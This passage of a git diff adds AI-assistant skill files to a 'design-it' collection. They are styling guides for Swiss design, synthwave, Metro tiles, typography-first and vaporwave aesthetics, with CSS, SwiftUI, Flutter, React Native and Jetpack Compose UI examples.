Color.White, fontSize = 28.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(32.dp)) + + // Button + Box( + modifier = Modifier + .background(Color.Black.copy(alpha = 0.1f), CircleShape) + .border(1.dp, Color.White.copy(alpha = 0.2f), CircleShape) + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("Interact", color = Color.White) + } + } + } + } +} +``` +- The `Brush.linearGradient` applied to the `Modifier.border` perfectly simulates the top-down rim light hitting a thick pane of glass. + +## Do's and Don'ts +- **DO**: Crank up the `saturate()` filter on the backdrop blur to make the background colors pop through the glass. +- **DON'T**: Use dark, opaque drop shadows. The UI should look like glass, which doesn't cast harsh shadows. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/swiss-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/swiss-design/SKILL.md new file mode 100644 index 00000000..1bf52d68 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/swiss-design/SKILL.md @@ -0,0 +1,293 @@ +--- +name: swiss-design +description: Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Swiss Design (International Typographic Style) + +> "Form follows function. The grid is absolute. Typography is the primary visual element." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Mathematical Grids**: Everything aligns to a strict underlying grid. Asymmetry is preferred over centered text. +2. **Sans-Serif Typography**: Helvetica is the king, but any clean, neutral sans-serif works. Flush left, ragged right text alignment. +3. **Objective Photography**: If images are used, they should be objective, documentary-style photos, not stylized illustrations. + +## Visual DNA +- **Colors**: Very limited. Usually just black, white, and ONE highly saturated accent color (often primary red, blue, or yellow). The **Industrial Chic** palette works perfectly. +- **Typography**: `Helvetica Neue`, `Inter`, or `Roboto`. Huge contrast in font sizes (e.g., massive 6rem headers paired with 1rem body text). +- **Layout**: Do NOT center text. Ever. + +## Web Implementation +- Use CSS Grid extensively. Let columns dictate the layout. +- **CSS Example**: +```css +body { + background-color: #f4f4f4; + color: #111; + font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; + line-height: 1.4; +} + +.swiss-grid { + display: grid; + grid-template-columns: repeat(12, 1fr); + gap: 20px; + padding: 40px; +} + +.swiss-header { + grid-column: 1 / 11; /* spans across multiple columns, leaving right side empty */ + font-size: 6vw; + font-weight: 700; + text-transform: lowercase; /* Optional, but common in brutalist/swiss */ + margin-bottom: 2rem; + line-height: 0.9; + letter-spacing: -0.04em; +} + +.swiss-content { + grid-column: 4 / 9; /* Indented alignment */ + font-size: 1.25rem; + text-align: left; /* Flush left, ragged right */ +} + +.swiss-accent { + color: #E2001A; /* Classic Swiss Red */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SwissDesignView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 0) { + // Header Block + VStack(alignment: .leading, spacing: 8) { + Text("the grid") + .font(.custom("Helvetica Neue", size: 60)) + .fontWeight(.heavy) + .tracking(-2) // Tight letter spacing + Text("is absolute.") + .font(.custom("Helvetica Neue", size: 60)) + .fontWeight(.heavy) + .tracking(-2) + .foregroundColor(Color(hex: "E2001A")) // Swiss Red + } + .padding(.horizontal, 24) + .padding(.top, 60) + .padding(.bottom, 40) + + Divider().background(Color.black) + + // Asymmetrical Content Block + HStack(alignment: .top, spacing: 20) { + // Empty left column (negative space is structural) + Spacer().frame(width: 40) + + VStack(alignment: .leading, spacing: 16) { + Text("Form follows function.") + .font(.custom("Helvetica Neue", size: 24)) + .fontWeight(.bold) + + Text("Typography is the primary visual element. Everything aligns to a strict underlying grid. Asymmetry is preferred over centered text.") + .font(.custom("Helvetica Neue", size: 16)) + .lineSpacing(6) + } + .padding(.vertical, 40) + .padding(.trailing, 24) + } + + Divider().background(Color.black) + } + .frame(maxWidth: .infinity, alignment: .leading) + } + .background(Color(white: 0.96)) + .foregroundColor(.black) + } +} +``` +- Strict `alignment: .leading` everywhere. Never use `.center`. +- Use `Spacer().frame(width: X)` in `HStack`s to intentionally push content off the left margin, creating the classic Swiss indented asymmetrical grid. + +### Flutter +```dart +class SwissDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF4F4F4), + body: SingleChildScrollView( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const SizedBox(height: 80), + // Header + Padding( + padding: const EdgeInsets.symmetric(horizontal: 24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('the grid', style: TextStyle(fontFamily: 'Helvetica', fontSize: 60, fontWeight: FontWeight.w900, height: 0.9, letterSpacing: -2)), + Text('is absolute.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 60, fontWeight: FontWeight.w900, height: 0.9, letterSpacing: -2, color: Color(0xFFE2001A))), + ], + ), + ), + const SizedBox(height: 40), + const Divider(color: Colors.black, thickness: 1, height: 1), + + // Asymmetrical Content + Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + // Structural empty column + const SizedBox(width: 64), + // Content column + Expanded( + child: Padding( + padding: const EdgeInsets.only(top: 40.0, bottom: 40.0, right: 24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Form follows function.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 24, fontWeight: FontWeight.bold)), + SizedBox(height: 16), + Text('Typography is the primary visual element. Everything aligns to a strict underlying grid.', style: TextStyle(fontFamily: 'Helvetica', fontSize: 16, height: 1.4)), + ], + ), + ), + ), + ], + ), + const Divider(color: Colors.black, thickness: 1, height: 1), + ], + ), + ), + ); + } +} +``` +- `CrossAxisAlignment.start` is mandatory on all Columns. +- Use a `Row` with a fixed `SizedBox` width on the left and an `Expanded` widget on the right to enforce the asymmetrical grid column. + +### React Native +```jsx +const SwissDesignScreen = () => { + return ( + + + {/* Header */} + + + the grid + + + is absolute. + + + + + + {/* Asymmetrical Layout */} + + {/* Empty left column */} + + + {/* Content */} + + + Form follows function. + + + Typography is the primary visual element. Everything aligns to a strict underlying grid. + + + + + + + + ); +}; +``` +- Link the Helvetica Neue font family. The contrast between `HelveticaNeue-CondensedBlack` for headers and `HelveticaNeue-Regular` for body copy defines this style. +- Use `flexDirection: 'row'` to build the strict column structure. + +### Jetpack Compose +```kotlin +@Composable +fun SwissDesignScreen() { + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFFF4F4F4)).verticalScroll(rememberScrollState()) + ) { + Spacer(Modifier.height(80.dp)) + + // Header + Column(modifier = Modifier.padding(horizontal = 24.dp, vertical = 40.dp)) { + Text( + text = "the grid", + fontFamily = FontFamily.SansSerif, // Replace with Helvetica + fontSize = 60.sp, + fontWeight = FontWeight.Black, + letterSpacing = (-2).sp, + lineHeight = 60.sp, + color = Color.Black + ) + Text( + text = "is absolute.", + fontFamily = FontFamily.SansSerif, + fontSize = 60.sp, + fontWeight = FontWeight.Black, + letterSpacing = (-2).sp, + lineHeight = 60.sp, + color = Color(0xFFE2001A) + ) + } + + Divider(color = Color.Black, thickness = 1.dp) + + // Asymmetrical Grid Row + Row(modifier = Modifier.fillMaxWidth().padding(vertical = 40.dp)) { + // Empty grid column + Spacer(modifier = Modifier.width(64.dp)) + + // Content + Column(modifier = Modifier.weight(1f).padding(right = 24.dp)) { + Text( + text = "Form follows function.", + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + color = Color.Black + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Typography is the primary visual element. Everything aligns to a strict underlying grid.", + fontSize = 16.sp, + color = Color.Black + ) + } + } + + Divider(color = Color.Black, thickness = 1.dp) + } +} +``` +- Use `Divider(color = Color.Black, thickness = 1.dp)` to create the harsh horizontal structural rules. +- Combine `Row`, a fixed `Spacer` width, and a `Column` with `Modifier.weight(1f)` to enforce the asymmetrical design. + +## Do's and Don'ts +- **DO**: Use negative space as a structural element. Empty columns are just as important as filled ones. +- **DON'T**: Center align text. Do not use serif fonts. Do not use drop shadows. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/synthwave/SKILL.md b/antigravity-awesome-skills/skills/design-it/synthwave/SKILL.md new file mode 100644 index 00000000..01ed9d66 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/synthwave/SKILL.md @@ -0,0 +1,257 @@ +--- +name: synthwave +description: Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Synthwave (Outrun) + +> "Driving a Ferrari through a neon-lit digital grid at midnight." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Dark Mode by Default**: Absolute pitch-black or deep purple backgrounds. +2. **Neon Glowing Vectors**: Bright magenta, cyan, and yellow wireframes, text, and grids. Heavy use of `box-shadow` and `text-shadow` for glow effects. +3. **The Perspective Grid**: The defining visual is a glowing grid that fades into a vanishing point on the horizon. + +## Visual DNA +- **Colors**: Deep space backgrounds (`#0B0C10`, `#110022`). Glowing neon accents: Cyan (`#00FFFF`), Hot Pink (`#FF00FF`), Electric Yellow (`#FFFF00`). +- **Typography**: 80s chrome text, brush script (like a neon sign), and heavy italicized sans-serifs. +- **Shadows**: Drop shadows are not black; they are the same color as the element, heavily blurred, to create light emission. + +## Web Implementation +- Rely on `text-shadow` for neon signs and 3D transforms for the floor grid. +- **CSS Example**: +```css +body { + background-color: #090014; + color: #fff; + font-family: 'Montserrat', sans-serif; + overflow-x: hidden; +} + +/* Neon Text Glow */ +.synth-neon-text { + font-family: 'Mr Dafoe', cursive; /* A classic 80s script */ + font-size: 4rem; + color: #fff; + text-shadow: + 0 0 5px #fff, + 0 0 10px #fff, + 0 0 20px #FF00FF, + 0 0 40px #FF00FF, + 0 0 80px #FF00FF; +} + +/* The Perspective Grid Floor */ +.synth-grid { + position: absolute; + bottom: 0; left: -50%; + width: 200%; height: 50vh; + background-image: + linear-gradient(rgba(0, 255, 255, 0.8) 2px, transparent 2px), + linear-gradient(90deg, rgba(0, 255, 255, 0.8) 2px, transparent 2px); + background-size: 50px 50px; + + /* Create the 3D horizon effect */ + transform: perspective(500px) rotateX(60deg); + transform-origin: top center; + + /* Fade out towards the horizon */ + mask-image: linear-gradient(to bottom, transparent 0%, black 100%); + -webkit-mask-image: linear-gradient(to bottom, transparent 0%, black 100%); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeonText: View { + let text: String + + var body: some View { + Text(text) + .font(.custom("Mr Dafoe", size: 64)) + .foregroundColor(.white) + // Layering shadows to create a glowing bloom + .shadow(color: .white, radius: 2) + .shadow(color: .pink, radius: 5) + .shadow(color: .pink, radius: 10) + .shadow(color: .pink, radius: 20) + } +} + +struct SynthwaveScreen: View { + var body: some View { + ZStack { + Color(red: 0.03, green: 0.0, blue: 0.08).ignoresSafeArea() // #090014 + + VStack { + NeonText(text: "Outrun") + Spacer() + } + + // Note: A 3D perspective grid requires SceneKit or a pre-rendered image + // Native SwiftUI 3D transforms apply to the view, but won't draw an infinite floor grid easily. + Image("synth_grid") + .resizable() + .scaledToFill() + .frame(height: 300) + .offset(y: 200) + } + } +} +``` +- Stack multiple `.shadow(color:radius:)` modifiers directly on the text to create a vibrant neon bloom effect. +- The 3D wireframe horizon grid is best achieved via a pre-rendered image background. + +### Flutter +```dart +class NeonText extends StatelessWidget { + final String text; + const NeonText(this.text); + + @override + Widget build(BuildContext context) { + return Text( + text, + style: const TextStyle( + fontFamily: 'Mr Dafoe', // Or any cursive 80s font + fontSize: 64, + color: Colors.white, + shadows: [ + Shadow(color: Colors.white, blurRadius: 2), + Shadow(color: Colors.pinkAccent, blurRadius: 5), + Shadow(color: Colors.pinkAccent, blurRadius: 15), + Shadow(color: Colors.pinkAccent, blurRadius: 30), + ], + ), + ); + } +} + +class SynthwaveScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF090014), + body: Stack( + children: [ + // Background grid asset + Positioned( + bottom: 0, + left: 0, + right: 0, + height: 300, + child: Image.asset('assets/synth_grid.png', fit: BoxFit.cover), + ), + // Foreground UI + const Center(child: NeonText('Outrun')), + ], + ), + ); + } +} +``` +- `TextStyle` accepts a list of `Shadow` objects. Stack them with exponentially increasing `blurRadius` values (e.g., 2, 5, 15, 30) to simulate light dispersal. +- Avoid rendering the perspective grid programmatically using `CustomPaint` unless you want to do the 3D math manually. Use an asset. + +### React Native +```jsx +// React Native only supports ONE textShadow per Text element natively. +// To create a true neon glow, you must stack identical Text components. + +const NeonText = ({ text }) => { + const baseStyle = { + fontFamily: 'MrDafoe', + fontSize: 64, + color: '#FFF', + position: 'absolute', + }; + + return ( + + {/* Outer Glow */} + {text} + {/* Mid Glow */} + {text} + {/* Core Glow */} + {text} + {/* Crisp White Core */} + {text} + + ); +}; + +const SynthwaveScreen = () => ( + + + + + +); +``` +- **React Native limitation**: You cannot pass an array of shadows to `textShadow`. +- **Workaround**: Render the exact same `` component 3-4 times on top of each other using `position: 'absolute'`, each with a different `textShadowRadius` to build the bloom. + +### Jetpack Compose +```kotlin +@Composable +fun NeonText(text: String) { + Text( + text = text, + fontSize = 64.sp, + color = Color.White, + fontFamily = FontFamily.Cursive, + // Compose only supports a single Shadow natively on TextStyle + style = TextStyle( + shadow = Shadow( + color = Color(0xFFFF00FF), + offset = Offset.Zero, + blurRadius = 30f // Single large blur as fallback + ) + ), + // To get stacked blurs, we use Modifier.drawBehind to draw the text repeatedly + ) +} + +// Advanced stacked glow approach +@Composable +fun AdvancedNeonText(text: String) { + Box(contentAlignment = Alignment.Center) { + // Render layers of text to build the glow + val blurs = listOf(30f, 15f, 5f) + blurs.forEach { blur -> + Text( + text = text, + color = Color.Transparent, + style = TextStyle( + shadow = Shadow(Color(0xFFFF00FF), Offset.Zero, blur) + ) + ) + } + // Top solid layer + Text(text = text, color = Color.White) + } +} +``` +- **Compose Limitation**: Like React Native, `TextStyle` only accepts a single `Shadow`. +- **Workaround**: Stack multiple transparent `Text` composables inside a `Box`, each casting a shadow of varying size, topped by the solid white core text. + +## Do's and Don'ts +- **DO**: Italicize fonts to give a sense of speed and forward momentum. +- **DON'T**: Use standard, subtle box shadows. If it casts a shadow, it must cast a neon glow instead. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/tile-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/tile-design/SKILL.md new file mode 100644 index 00000000..9da8042e --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/tile-design/SKILL.md @@ -0,0 +1,297 @@ +--- +name: tile-design +description: Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Tile Design (Metro UI) + +> "Authentically digital. Clean, sharp squares relying purely on typography and flat color." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Sharp Corners**: Absolutely no border-radius. Everything is a perfect square or sharp rectangle. +2. **Live Data**: Tiles flip, scroll, or fade internally to show live updates without the user interacting. +3. **Horizontal Panning**: The grid often expands infinitely to the right, encouraging horizontal scrolling. + +## Visual DNA +- **Colors**: High saturation, flat colors. A dark background (pure black) with bright cyan, magenta, orange, and green tiles. +- **Typography**: Extremely clean, light sans-serifs (like `Segoe UI Light`). Text is almost always pure white. +- **Icons**: Simple, wireframe, monochromatic glyphs placed centrally or in the corner. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #111; + color: #fff; + font-family: 'Segoe UI', sans-serif; + overflow-x: auto; /* Horizontal scroll */ +} + +.tile-group { + display: grid; + grid-template-columns: repeat(4, 150px); + grid-auto-rows: 150px; + gap: 8px; + padding: 40px; +} + +.tile { + background-color: #0078D7; /* Classic Windows Blue */ + padding: 12px; + display: flex; + flex-direction: column; + justify-content: space-between; + cursor: pointer; + + /* The "tilt" click effect */ + transition: transform 0.1s; + transform-origin: center; +} + +.tile:active { + transform: scale(0.95); +} + +.tile-wide { grid-column: span 2; } +.tile-large { grid-column: span 2; grid-row: span 2; } + +/* Live Tile Animation */ +.tile-live-content { + animation: slideUp 5s infinite; +} + +@keyframes slideUp { + 0%, 45% { transform: translateY(0); } + 50%, 95% { transform: translateY(-100%); } /* Slides up to reveal next item */ + 100% { transform: translateY(0); } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct TileDesignView: View { + let rows = [GridItem(.fixed(150), spacing: 8), GridItem(.fixed(150), spacing: 8)] + + var body: some View { + ScrollView(.horizontal, showsIndicators: false) { + LazyHGrid(rows: rows, spacing: 8) { + TileView(title: "Mail", color: Color(hex: "0078D7"), icon: "envelope") + TileView(title: "Photos", color: Color(hex: "00CC6A"), icon: "photo", isLarge: true) + TileView(title: "Weather", color: Color(hex: "2D7D9A"), icon: "cloud.sun") + TileView(title: "Calendar", color: Color(hex: "D13438"), icon: "calendar") + } + .padding(40) + } + .background(Color(hex: "111111").ignoresSafeArea()) + } +} + +struct TileView: View { + let title: String + let color: Color + let icon: String + var isLarge: Bool = false + + @State private var isPressed = false + + var body: some View { + VStack(alignment: .leading) { + Image(systemName: icon) + .font(.system(size: 32, weight: .light)) + .foregroundColor(.white) + Spacer() + Text(title) + .font(.custom("Segoe UI", size: 16)) + .foregroundColor(.white) + } + .padding(16) + // Sharp corners are mandatory + .frame(width: isLarge ? 308 : 150, height: isLarge ? 308 : 150, alignment: .leading) + .background(color) + .scaleEffect(isPressed ? 0.95 : 1.0) + .animation(.spring(response: 0.2, dampingFraction: 0.5), value: isPressed) + .onLongPressGesture(minimumDuration: .infinity, maximumDistance: .infinity, pressing: { pressing in + isPressed = pressing + }, perform: {}) + } +} +``` +- A `LazyHGrid` inside a horizontal `ScrollView` perfectly replicates the Windows Phone / Windows 8 start screen. +- Absolutely NO corner radius. +- The `isPressed` state triggering a `.scaleEffect(0.95)` replicates the physical "tilt" interaction of Metro tiles. + +### Flutter +```dart +class TileDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF111111), + body: SingleChildScrollView( + scrollDirection: Axis.horizontal, + padding: const EdgeInsets.all(40), + child: SizedBox( + height: 308, // Two rows of 150px + 8px spacing + child: Wrap( + direction: Axis.vertical, + spacing: 8, + runSpacing: 8, + children: [ + _buildTile('Mail', const Color(0xFF0078D7), Icons.mail_outline), + _buildTile('Weather', const Color(0xFF2D7D9A), Icons.cloud_outlined), + _buildTile('Photos', const Color(0xFF00CC6A), Icons.photo_outlined, isLarge: true), + _buildTile('Calendar', const Color(0xFFD13438), Icons.calendar_today), + ], + ), + ), + ), + ); + } + + Widget _buildTile(String title, Color color, IconData icon, {bool isLarge = false}) { + return StatefulBuilder( + builder: (context, setState) { + bool isPressed = false; + return GestureDetector( + onTapDown: (_) => setState(() => isPressed = true), + onTapUp: (_) => setState(() => isPressed = false), + onTapCancel: () => setState(() => isPressed = false), + child: AnimatedScale( + scale: isPressed ? 0.95 : 1.0, + duration: const Duration(milliseconds: 100), + child: Container( + width: isLarge ? 308 : 150, + height: isLarge ? 308 : 150, + color: color, // Sharp corners + padding: const EdgeInsets.all(16), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + Icon(icon, color: Colors.white, size: 32), + Text(title, style: const TextStyle(color: Colors.white, fontFamily: 'Segoe UI', fontSize: 16)), + ], + ), + ), + ), + ); + } + ); + } +} +``` +- `Wrap` with `direction: Axis.vertical` inside a horizontally scrolling `SizedBox` is the easiest way to build a Metro grid that flows left-to-right. +- Wrap tiles in `GestureDetector` and `AnimatedScale` to handle the press animation. + +### React Native +```jsx +const TileDesignScreen = () => { + return ( + + + + + + + + + + + ); +}; + +const Tile = ({ title, color, isLarge }) => { + const scale = useRef(new Animated.Value(1)).current; + + const handlePressIn = () => Animated.spring(scale, { toValue: 0.95, useNativeDriver: true }).start(); + const handlePressOut = () => Animated.spring(scale, { toValue: 1, useNativeDriver: true }).start(); + + return ( + + + + {title} + + + ); +}; +``` +- Use a `` combined with a child `` that has a fixed `height` and `flexWrap: 'wrap', flexDirection: 'column'`. This forces children to form columns and flow horizontally. +- Use `Animated.View` and `TouchableWithoutFeedback` to create the scale animation. + +### Jetpack Compose +```kotlin +@Composable +fun TileDesignScreen() { + LazyHorizontalGrid( + rows = GridCells.Fixed(2), + modifier = Modifier.fillMaxSize().background(Color(0xFF111111)), + contentPadding = PaddingValues(40.dp), + horizontalArrangement = Arrangement.spacedBy(8.dp), + verticalArrangement = Arrangement.spacedBy(8.dp) + ) { + item(span = { GridItemSpan(1) }) { Tile("Mail", Color(0xFF0078D7)) } + // Note: LazyHorizontalGrid doesn't easily support spanning multiple rows (2x2 tiles). + // For a true Metro layout, you often have to build a custom Layout or use staggered grids. + item(span = { GridItemSpan(2) }) { Tile("Photos Wide", Color(0xFF00CC6A)) } + item(span = { GridItemSpan(1) }) { Tile("Weather", Color(0xFF2D7D9A)) } + } +} + +@Composable +fun Tile(title: String, color: Color) { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState(if (isPressed) 0.95f else 1.0f) + + Box( + modifier = Modifier + .size(150.dp) // Or wide/large based on params + .scale(scale) + .background(color) // Sharp corners! No RoundedCornerShape + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + } + .padding(16.dp) + ) { + // Icon + Box(modifier = Modifier.size(32.dp).background(Color.White.copy(alpha = 0.5f)).align(Alignment.TopStart)) + // Text + Text( + text = title, + color = Color.White, + fontFamily = FontFamily.SansSerif, + modifier = Modifier.align(Alignment.BottomStart) + ) + } +} +``` +- `LazyHorizontalGrid` is the right tool, though building true 2x2 "Large" tiles requires custom layout math in Compose if mixing with 1x1 tiles. +- `Modifier.scale()` paired with `pointerInput` `detectTapGestures` handles the Metro interaction. + +## Do's and Don'ts +- **DO**: Place the tile label text strictly in the bottom-left corner of the tile. +- **DON'T**: Add drop shadows or gradients to the tiles. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/typography-first/SKILL.md b/antigravity-awesome-skills/skills/design-it/typography-first/SKILL.md new file mode 100644 index 00000000..f4598f03 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/typography-first/SKILL.md @@ -0,0 +1,247 @@ +--- +name: typography-first +description: Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Typography First Design + +> "The words are the interface. No distractions, just beautiful text." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hyper-Sized Typography**: The main headline is so large it becomes an abstract graphic element. +2. **Minimal UI Chroming**: Buttons are just text. Navigation is just text. No boxes, no backgrounds. +3. **Kinetic Typography**: Text that moves, scrolls, or reacts to the user's cursor. + +## Visual DNA +- **Colors**: Extreme high contrast. Pure black and white, or a very dark background with a single neon accent color. **Midnight Luxury** works well. +- **Typography**: Display fonts with extreme character. Try `Oswald`, `Anton`, or `Bebas Neue` for impact, or a massive serif. +- **Layout**: Often centers the massive text perfectly in the viewport, cutting off at the edges. + +## Web Implementation +- Rely on `vw` and `vh` units for font sizing so the text perfectly fills the screen. +- **CSS Example**: +```css +body { + background-color: #0A0A0A; + color: #F5F5F0; + overflow-x: hidden; + margin: 0; +} + +.hero-type { + font-family: 'Anton', sans-serif; + font-size: 25vw; /* Fills the width of the screen */ + text-transform: uppercase; + line-height: 0.8; + white-space: nowrap; + + /* Outline effect */ + color: transparent; + -webkit-text-stroke: 2px #F5F5F0; + transition: color 0.3s; +} + +.hero-type:hover { + color: var(--cta-highlight); + -webkit-text-stroke: 0; +} + +.nav-text-btn { + background: none; + border: none; + color: #F5F5F0; + font-size: 2rem; + font-family: 'Helvetica Neue', sans-serif; + text-decoration: underline; + text-underline-offset: 8px; + cursor: pointer; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct TypographyFirstView: View { + var body: some View { + ZStack { + Color(hex: "0A0A0A").ignoresSafeArea() + + VStack { + // Massive Typography Bleeding Off Edge + Text("THE WORDS ARE THE INTERFACE") + .font(.custom("Anton", size: 200)) // Absurdly large + .foregroundColor(Color(hex: "F5F5F0")) + .lineLimit(1) + .fixedSize(horizontal: true, vertical: false) // Force no wrapping + .minimumScaleFactor(1.0) // Prevent auto-shrinking + + // Outlined variant + Text("NO CHROMING") + .font(.custom("Anton", size: 150)) + .foregroundColor(.clear) + .overlay( + Text("NO CHROMING") + .font(.custom("Anton", size: 150)) + .foregroundColor(Color(hex: "0A0A0A")) + // Hack for text stroke in SwiftUI + .shadow(color: Color(hex: "F5F5F0"), radius: 1) + ) + .lineLimit(1) + .fixedSize() + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.leading, -20) // Intentionally cut off + } + } +} +``` +- Use `.fixedSize(horizontal: true, vertical: false)` and `.lineLimit(1)` to force massive fonts to bleed off the edge of the screen rather than wrapping into a paragraph. +- Native text-stroke is difficult in SwiftUI; overlapping a masked text or using thin shadows is the common workaround. + +### Flutter +```dart +class TypographyFirstScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF0A0A0A), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + crossAxisAlignment: CrossAxisAlignment.stretch, + children: [ + // Auto-scaling hero text + FittedBox( + fit: BoxFit.cover, + child: Text( + 'THE WORDS ARE', + style: TextStyle(fontFamily: 'Anton', color: const Color(0xFFF5F5F0), height: 0.8), + ), + ), + + // Outlined text + FittedBox( + fit: BoxFit.cover, + child: Stack( + children: [ + // Outline + Text( + 'THE INTERFACE', + style: TextStyle( + fontFamily: 'Anton', height: 0.8, + foreground: Paint()..style = PaintingStyle.stroke..strokeWidth = 2..color = const Color(0xFFF5F5F0), + ), + ), + // Solid fill (transparent) + const Text('THE INTERFACE', style: TextStyle(fontFamily: 'Anton', height: 0.8, color: Colors.transparent)), + ], + ), + ), + ], + ), + ), + ); + } +} +``` +- `FittedBox` with `BoxFit.cover` is your best friend here. It ensures the text takes up the maximum possible width/height regardless of the device screen size. +- Flutter makes text outlines easy by using `foreground: Paint()..style = PaintingStyle.stroke` in the `TextStyle`. + +### React Native +```jsx +const { width } = Dimensions.get('window'); + +const TypographyFirstScreen = () => { + return ( + + + {/* Massive Text */} + + WORDS ARE + + + {/* Outlined Text (Not supported natively in standard React Native Text, requires SVG or shadows) */} + + INTERFACE + + + {/* Typography Button */} + + + Explore Now + + + + + ); +}; +``` +- Rely on `Dimensions.get('window').width` to calculate extreme font sizes dynamically (e.g., `fontSize: width * 0.4`). +- Use `numberOfLines={1}` and negative margins to allow the text to act as a graphic element bleeding off the screen. + +### Jetpack Compose +```kotlin +@Composable +fun TypographyFirstScreen() { + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFF0A0A0A)), + verticalArrangement = Arrangement.Center + ) { + // Massive Text + Text( + text = "THE WORDS ARE", + color = Color(0xFFF5F5F0), + fontSize = 120.sp, // Absurd size + fontFamily = FontFamily.SansSerif, // Replace with Anton + lineHeight = 100.sp, + softWrap = false, // Force bleed off edge + modifier = Modifier.offset(x = (-20).dp) + ) + + // Outlined Text + Text( + text = "THE INTERFACE", + fontSize = 100.sp, + fontFamily = FontFamily.SansSerif, + lineHeight = 90.sp, + softWrap = false, + style = TextStyle( + drawStyle = Stroke( + miter = 10f, + width = 2f, + join = StrokeJoin.Round + ) + ), + color = Color(0xFFF5F5F0) // The stroke color + ) + } +} +``` +- Set `softWrap = false` on `Text` to prevent it from wrapping and ruining the massive headline aesthetic. +- Compose fully supports text outlines natively using `style = TextStyle(drawStyle = Stroke(...))`. + +## Do's and Don'ts +- **DO**: Mix filled text and outlined text (using `-webkit-text-stroke`) for visual interest. +- **DON'T**: Wrap the text in cards or containers. Let it bleed into the background. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/vaporwave/SKILL.md b/antigravity-awesome-skills/skills/design-it/vaporwave/SKILL.md new file mode 100644 index 00000000..4b24d643 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/vaporwave/SKILL.md @@ -0,0 +1,331 @@ +--- +name: vaporwave +description: Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Vaporwave + +> "A surreal, nostalgic dream of 90s computing and pastel neon." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Windows 95 / Mac OS 9 Motifs**: UI elements designed to look explicitly like 1990s operating systems (grey boxes, hard bevels, blue title bars). +2. **Surreal Pastels & Neons**: A mix of soft pinks, cyans, and harsh neon 